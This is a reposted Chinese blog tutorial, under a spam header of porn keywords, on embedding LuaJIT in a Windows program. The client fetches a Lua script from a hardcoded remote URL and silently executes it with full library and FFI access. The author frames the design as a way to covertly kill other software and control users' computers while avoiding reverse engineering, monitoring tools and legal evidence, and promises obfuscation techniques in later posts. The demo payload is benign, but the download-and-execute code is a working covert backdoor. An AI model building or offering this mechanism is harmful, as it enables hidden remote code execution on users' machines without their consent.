日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

在windows程序中嵌入Lua脚本引擎--建立一个简易的“云命令”执行的系统

發布時間:2023/11/27 生活经验 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 在windows程序中嵌入Lua脚本引擎--建立一个简易的“云命令”执行的系统 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

? ? ? ? ? 在《在windows程序中嵌入Lua腳本引擎--使用VS IDE編譯Luajit腳本引擎》開始處,我提到某公司被指責使用“云命令”暗殺一些軟件。本文將講述如何去模擬一個簡易的“云指令”執行系統。(轉載請指明出于breaksoftware的csdn博客)

? ? ? ? 首先我們思考下“云指令”的優點:

? ? ? ? 1 一次性執行,在客戶端幾乎無法得知其被執行的證據。在CS體系結構中,如果我們要完成某個業務需求,往往要修改二進制文件,并發布到客戶端。這樣,我們在客戶端的副本將有機會去執行相關邏輯。如果我們要做些壞事,比如暗殺某個軟件,我們要是在客戶端寫死這個邏輯,很容易被逆向從而被舉證。這將面臨法律風險。如果我們服務端向客戶端發一些指令(二進制流),這些指令會被執行,從而做些操作,將很難會被發現。

? ? ? ? 2 節約流量。有人可能會想,那為什么不從服務端直接拉一個Exe去做這樣的操作呢?如果去拉取Exe,將很容易被FileMon這類軟件發現,從而讓舉證者輕易拿到我們Exe文件并終止我們“毀尸滅跡”的操作。這就是為什么不發一些小的Exe去執行指令的原因。還有一個原因便是文件大小,Exe文件一般來說會比我們編寫的Lua腳本要大。

? ? ? ??我想第一點就已經非常吸引你了,試想,如果有了此功能,那么我們就可以輕易操控用戶的電腦了。

? ? ? ? 下面我們看下如何實現這樣的一個“云指令”系統。

? ? ? ? 1 編譯生成一個Luajit的Lib文件

? ? ? ? 緊接前一篇文章。我們新建一個名字叫LuajitLib的工程。它的目的和LualibProject工程相似——生成一個lib文件。但是我們這次要生成一個我們已知導出函數的一個lib,該函數將完成執行指令的操作。

? ? ? ? 和LualibProject工程一樣,我們要鏈接Lua工程生成的obj文件。在Librarian->General->Additional Dependencies中設置

$(TargetDir)libobj\lib_*.obj
$(TargetDir)ljobj\lj_*.obj
$(TargetDir)lj_vm.obj

?? ? ? ? 在Librarian->General->Export Named Functions中設置導出函數名ExcuteLuaString
? ? ? ? 在C\C++->General->Additional Include Directories中設置我們要引入的頭文件目錄

"$(SolutionDir)Header";"$(SolutionDir)OtherHeader"

? ? ? ? 其他和LualibProject一樣。我們給LuajitLib工程新建一個頭文件

#pragma once#ifdef __cplusplus
#define EXTERN_C extern "C"
#else
#define EXTERN_C extern
#endif EXTERN_C void ExcuteLuaString( const char* lpBuffer, unsigned long ulBufferSize );

? ? ? ? 其中第一個參數是我們傳入指令的地址,第二個參數是指令的長度。

#include "ExcuteLua.h"#include "lualib.h"
#include "lauxlib.h"void ExcuteLuaString( const char* lpBuffer, unsigned long ulBufferSize )
{int nStatus = 0;lua_State* L = luaL_newstate();luaL_openlibs(L);nStatus = luaL_loadbufferx( L, lpBuffer, ulBufferSize, NULL, NULL );nStatus = lua_pcall(L, 0, 0, 0);lua_close(L);
}

? ? ? ? 這個CPP也很簡單,就是簡單的實現執行Lua執行。如此便生成一個名字為LuajitLib.lib的文件。

? ? ? ? 2 編一個簡易的客戶端。

? ? ? ? 為了盡量簡易,我們就新建一個名字為LuaConsoleTest的Console程序。該工程將引用1中生成的lib文件。

? ? ? ? 同時,該工程提供一個下載工程,即模擬從服務端下發數據。

#define MAXBLOCKSIZE 1024
BOOL GetCloudCmd( const std::string& strUrl, std::string& strCmd )
{BOOL bSuc = FALSE;do {HINTERNET hSession = InternetOpenA("IE/1.0 ", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);if ( NULL == hSession ) {break;}HINTERNET handle = InternetOpenUrlA(hSession, strUrl.c_str(), NULL,  0 , INTERNET_FLAG_DONT_CACHE, 0);if ( NULL == handle ) {break;}byte Temp[MAXBLOCKSIZE] = {0};ULONG Number = 1 ;while (Number >  0 ) {InternetReadFile(handle, Temp, MAXBLOCKSIZE - 1,& Number );strCmd.append((char*)Temp);memset(Temp,0, MAXBLOCKSIZE);} InternetCloseHandle(handle);handle  =  NULL;InternetCloseHandle(hSession);hSession  =  NULL;bSuc = TRUE;} while (0);return bSuc;}

? ? ? ? 在主程序中,我將執行獲取“云端指令”和執行指令的操作。

int _tmain(int argc, _TCHAR* argv[])
{std::string strUrl = "http://dl5.csdn.net/fd.php?i=341748182061456&s=95f3ecf9a259c4f38fcf60493a699287" ;std::string strCmd = "";if ( GetCloudCmd(strUrl, strCmd) ){ExcuteLuaString(strCmd.c_str(), strCmd.length());}return 0;
}

? ? ? ? ? 該段中URL是我寫死的一個地址。這是為了簡易,如果想搞的復雜,可以考慮讓服務器下發地址或者直接下發命令。

? ? ? ? ? 我在服務端保存的是一個簡易的Lua腳本。該腳本使用了ffi庫,即讓我們可以像使用C語言一樣寫Lua腳本,這個也是令人非常激動的一點。

local ffi = require "ffi" 
ffi.cdef[[unsigned int GetTickCount()]] 
print(ffi.C.GetTickCount())

? ? ? ? ?這樣,客戶端就執行了”云指令“——打印出TickCount。


? ? ? ? 可能有人會提出更高的要求,比如這個Lua的內容太長了!其實它真的不長,但是的確我們可以讓它短點,而且讓這樣的函數名不再明顯,增加破解者閱讀的難度。我會在之后講解如何去封轉自己的Lua庫,如何編寫更“難以閱讀”,更簡短的“云指令”。

總結

以上是生活随笔為你收集整理的在windows程序中嵌入Lua脚本引擎--建立一个简易的“云命令”执行的系统的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。